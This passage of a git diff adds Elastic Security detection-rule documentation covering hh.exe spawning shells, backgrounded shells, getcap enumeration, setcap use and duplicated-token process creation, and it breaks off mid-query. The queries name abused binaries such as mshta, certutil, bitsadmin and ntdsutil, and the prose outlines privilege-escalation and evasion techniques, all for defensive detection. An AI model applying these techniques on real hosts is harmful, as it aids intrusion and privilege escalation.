Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate the parent process to gain understanding of what triggered this behavior. + - Retrieve `.chm`, `.ps1`, and other files that were involved to further examination. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executables, scripts and help files retrieved from the system using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "hh.exe" and + process.name : ("mshta.exe", "cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "cscript.exe", "wscript.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Compiled HTML File +** ID: T1218.001 +** Reference URL: https://attack.mitre.org/techniques/T1218/001/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-backgrounded-by-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-backgrounded-by-unusual-parent.asciidoc new file mode 100644 index 0000000000..f0e940bab9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-backgrounded-by-unusual-parent.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-process-backgrounded-by-unusual-parent]] +=== Process Backgrounded by Unusual Parent + +This rule identifies processes that are backgrounded by an unusual parent process. This behavior may indicate a process attempting to evade detection by hiding its parent process. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Backgrounded by Unusual Parent* + + +In Linux environments, shell processes like bash or zsh can be backgrounded using the '&' operator, allowing them to run independently of the terminal. Adversaries exploit this by launching scripts with unusual parent processes to evade detection. The detection rule identifies such anomalies by monitoring process start events with specific shell invocations and backgrounding indicators, flagging potential evasion attempts. + + +*Possible investigation steps* + + +- Review the process start event details to identify the parent process and assess its legitimacy. Pay attention to the process.name and process.args fields to understand the context of the command executed. +- Examine the command line arguments (process.args) for any suspicious patterns or commands that could indicate malicious activity, especially focusing on the use of the '&' operator which backgrounds the process. +- Check the user account associated with the process to determine if it is a known and trusted user. Investigate any anomalies in user behavior or unexpected user accounts. +- Correlate the event with other logs or alerts from the same host to identify any related suspicious activities or patterns, such as other unusual process executions or network connections. +- Investigate the parent process's history and behavior to determine if it has been involved in other suspicious activities or if it has been compromised. +- Consult threat intelligence sources or databases to see if the command or behavior matches known attack patterns or indicators of compromise (IOCs). + + +*False positive analysis* + + +- Routine administrative scripts may trigger this rule if they are executed with backgrounding by system administrators. To manage this, identify and whitelist known administrative scripts that are frequently used in your environment. +- Automated maintenance tasks or cron jobs that use shell scripts with backgrounding can also be flagged. Review and exclude these tasks by adding exceptions for specific scripts or processes that are verified as non-threatening. +- Development environments where developers frequently test scripts in the background might cause false positives. Consider creating exceptions for specific user accounts or directories where development activities are known to occur. +- Monitoring tools or agents that use shell scripts to perform checks or gather data in the background could be mistakenly identified. Verify these tools and exclude their processes from the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate the suspicious backgrounded process and its parent process to halt any ongoing malicious activity. +- Conduct a thorough review of the affected system's process tree to identify any additional suspicious or unauthorized processes that may have been spawned. +- Analyze the command history and script files associated with the unusual parent process to understand the scope and intent of the activity. +- Restore the system from a known good backup if any malicious modifications or persistence mechanisms are identified. +- Update and patch the system to close any vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and +event.action:(ProcessRollup2 or exec or exec_event or start) and +process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and +process.args:(-c and *&) and +not process.parent.name:(sshd or make or su or ds_agent or fortitraylauncher or zeek or asterisk or vncserver or cron or crond) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Break Process Trees +** ID: T1036.009 +** Reference URL: https://attack.mitre.org/techniques/T1036/009/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-capability-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-capability-enumeration.asciidoc new file mode 100644 index 0000000000..a5750de4cc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-capability-enumeration.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-process-capability-enumeration]] +=== Process Capability Enumeration + +Identifies recursive process capability enumeration of the entire filesystem through the getcap command. Malicious users may manipulate identified capabilities to gain root privileges. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Capability Enumeration* + + +In Linux environments, the `getcap` command is used to list file capabilities, which define specific privileges for executables. Adversaries may exploit this by recursively scanning the filesystem to identify and manipulate capabilities, potentially escalating privileges. The detection rule identifies suspicious use of `getcap` by monitoring for its execution with specific arguments, especially by non-root users, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the alert details to confirm the execution of the `getcap` command with the arguments `-r` and `/`, ensuring the process was initiated by a non-root user (user.id != "0"). +- Identify the user account associated with the process execution to determine if the user has a legitimate reason to perform such actions. +- Examine the process execution history for the identified user to check for any other suspicious activities or commands executed around the same time. +- Investigate the system logs for any signs of privilege escalation attempts or unauthorized access following the execution of the `getcap` command. +- Check for any recent changes to file capabilities on the system that could indicate manipulation by the adversary. +- Assess the system for any other indicators of compromise or related alerts that might suggest a broader attack campaign. + + +*False positive analysis* + + +- System administrators or automated scripts may use the getcap command for legitimate auditing purposes. To handle this, create exceptions for known administrative accounts or scripts that regularly perform capability checks. +- Security tools or monitoring solutions might trigger the rule during routine scans. Identify these tools and exclude their processes from triggering alerts by adding them to an allowlist. +- Developers or testing environments may execute getcap as part of software testing or development processes. Exclude specific user IDs or groups associated with these environments to prevent unnecessary alerts. +- Scheduled maintenance tasks might involve capability enumeration. Document and exclude these tasks by specifying the time frames or user accounts involved in the maintenance activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any unauthorized or suspicious processes associated with the `getcap` command to halt potential privilege escalation activities. +- Conduct a thorough review of the system's file capabilities using a trusted method to identify any unauthorized changes or suspicious capabilities that may have been set. +- Revert any unauthorized capability changes to their original state to ensure that no elevated privileges are retained by malicious users. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement monitoring for similar `getcap` command executions across the environment to detect and respond to future attempts promptly. +- Review and update access controls and user permissions to ensure that only authorized users have the necessary privileges to execute potentially sensitive commands like `getcap`. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "ProcessRollup2") and + process.name == "getcap" and process.args == "-r" and process.args == "/" and + process.args_count == 3 and user.id != "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-capability-set-via-setcap-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-capability-set-via-setcap-utility.asciidoc new file mode 100644 index 0000000000..e08ee141f9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-capability-set-via-setcap-utility.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-process-capability-set-via-setcap-utility]] +=== Process Capability Set via setcap Utility + +This rule detects the use of the setcap utility to set capabilities on a process. The setcap utility is used to set the capabilities of a binary to allow it to perform privileged operations without needing to run as root. This can be used by attackers to establish persistence by creating a backdoor, or escalate privileges by abusing a misconfiguration on a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Capability Set via setcap Utility* + + +The `setcap` utility in Linux assigns specific capabilities to executables, allowing them to perform privileged tasks without full root access. While beneficial for security, adversaries can exploit this to maintain persistence or escalate privileges by misconfiguring capabilities. The detection rule identifies suspicious `setcap` usage by monitoring process execution patterns, excluding benign parent processes, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the setcap utility, focusing on the process name and event action fields to ensure the alert is not a false positive. +- Investigate the parent process executable and name to determine if the setcap command was executed by a potentially malicious or unexpected process, especially if it is not among the excluded benign parent processes. +- Check the capabilities that were set by the setcap command to assess if they could allow privilege escalation or persistence, and determine if they align with normal operational requirements. +- Examine the timeline of events around the setcap execution to identify any preceding or subsequent suspicious activities that might indicate a broader attack or compromise. +- Correlate the alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise that could suggest a coordinated attack. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule when package managers like dpkg or Docker set capabilities during their processes. To handle this, exclude paths such as /var/lib/dpkg/* and /var/lib/docker/* from the detection rule. +- Development environments or containerized applications might use setcap for testing purposes. Exclude processes originating from /tmp/newroot/* and /var/tmp/newroot/* to reduce noise from these environments. +- Custom scripts or administrative tools that use setcap for legitimate configuration tasks can be excluded by identifying their parent process names and adding them to the exclusion list, similar to the existing exclusions for jem and vzctl. +- Regular audits of the exclusion list should be conducted to ensure that no malicious processes are inadvertently whitelisted, maintaining a balance between reducing false positives and ensuring security. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Terminate any suspicious processes associated with the `setcap` utility that are not part of legitimate administrative tasks. +- Review and remove any unnecessary capabilities set on executables using the `setcap` utility to prevent privilege escalation. +- Conduct a thorough audit of the system to identify any backdoors or unauthorized changes made by the attacker, and remove them. +- Restore affected systems from a known good backup if unauthorized changes or persistent threats are detected. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for `setcap` usage and similar privilege escalation attempts to improve future detection capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +process.name == "setcap" and not ( + process.parent.executable == null or + process.parent.executable like ( + "/var/lib/dpkg/*", "/var/lib/docker/*", "/tmp/newroot/*", "/var/tmp/newroot/*", "/usr/bin/cmake", + "/opt/zscaler/bin/zpa-connector" + ) or + process.parent.name in ("jem", "vzctl") or + process.parent.args like "/var/lib/dpkg/info/*" or + ?process.working_directory in ("/opt/dynatrace/oneagent", "/opt/sophos-spl/plugins/av/sbin") or + process.parent.command_line in ("/bin/bash /entrypoint.sh telegraf", "/bin/sh /usr/local/bin/docker-entrypoint.sh server") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-created-with-a-duplicated-token.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-created-with-a-duplicated-token.asciidoc new file mode 100644 index 0000000000..cf45a68340 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-created-with-a-duplicated-token.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-process-created-with-a-duplicated-token]] +=== Process Created with a Duplicated Token + +Identifies the creation of a process impersonating the token of another user logon session. Adversaries may create a new process with a different token to escalate privileges and bypass access controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Created with a Duplicated Token* + + +In Windows environments, tokens are used to represent user credentials and permissions. Adversaries may duplicate tokens to create processes with elevated privileges, bypassing security controls. The detection rule identifies suspicious process creation by examining token usage patterns, process origins, and recent file modifications, while excluding known legitimate behaviors, to flag potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process name and executable path to determine if it matches any known legitimate applications or if it is potentially malicious. Pay special attention to processes like powershell.exe, cmd.exe, and rundll32.exe. +- Examine the parent process and its executable path to understand the process hierarchy and identify any unusual or unexpected parent-child relationships, especially if the parent is not a typical system process. +- Check the user ID associated with the process to verify if it belongs to a legitimate user or if it appears to be an anomaly, such as a service account being used unexpectedly. +- Investigate the code signature status of the process to determine if it is trusted or if there are any issues like an expired or untrusted signature, which could indicate tampering or a malicious executable. +- Analyze the relative file creation and modification times to assess if the process was created or modified recently, which could suggest a recent compromise or unauthorized change. +- Look for any known exclusions in the query, such as specific command lines or parent processes, to ensure the alert is not a false positive based on legitimate behavior patterns. + + +*False positive analysis* + + +- Processes initiated by legitimate system maintenance tools like Windows Update or system repair utilities may trigger the rule. Users can create exceptions for these processes by excluding specific parent-child process relationships that are known to be safe. +- Software installations or updates that involve temporary elevation of privileges might be flagged. Users should consider excluding processes originating from trusted directories like Program Files or Program Files (x86) if they are part of a verified installation or update process. +- Administrative scripts or automation tools that run with elevated privileges could be misidentified. Users can exclude these by specifying trusted code signatures or known script paths in the rule configuration. +- Certain legitimate applications that frequently update or modify files within a short time frame may be mistakenly flagged. Users can adjust the relative file creation or modification time thresholds or exclude specific applications by their executable paths. +- Processes that are part of normal user activity, such as those initiated by explorer.exe, may be incorrectly identified. Users can refine the rule by excluding processes with known benign parent-child relationships involving explorer.exe. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, especially those with duplicated tokens or originating from unexpected parent processes. +- Conduct a thorough review of user accounts and privileges on the affected system to identify any unauthorized changes or escalations. Revoke any unnecessary or suspicious privileges. +- Perform a comprehensive scan of the affected system using updated antivirus and anti-malware tools to detect and remove any malicious software or scripts. +- Review recent file modifications and system logs to identify any additional indicators of compromise or unauthorized activities that may have occurred. +- Restore any altered or corrupted system files from a known good backup to ensure system integrity and functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or accounts have been compromised. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +/* This rule is only compatible with Elastic Endpoint 8.4+ */ + +process where host.os.type == "windows" and event.action == "start" and + + user.id : ("S-1-5-21-*", "S-1-12-1-*") and + + (process.Ext.effective_parent.executable regex~ """[C-Z]:\\Windows\\(System32|SysWOW64)\\[a-zA-Z0-9\-\_\.]+\.exe""" or + process.Ext.effective_parent.executable : "?:\\Windows\\explorer.exe") and + + ( + process.name : ("powershell.exe", "cmd.exe", "rundll32.exe", "notepad.exe", "net.exe", "ntdsutil.exe", + "tasklist.exe", "reg.exe", "certutil.exe", "bitsadmin.exe", "msbuild.exe", "esentutl.exe") or + + ((process.Ext.relative_file_creation_time <= 900 or process.Ext.relative_file_name_modify_time <= 900) and + not process.code_signature.status : ("trusted", "errorExpired", "errorCode_endpoint*") and + not process.executable : ("?:\\Program Files\\*", "?:\\Program Files 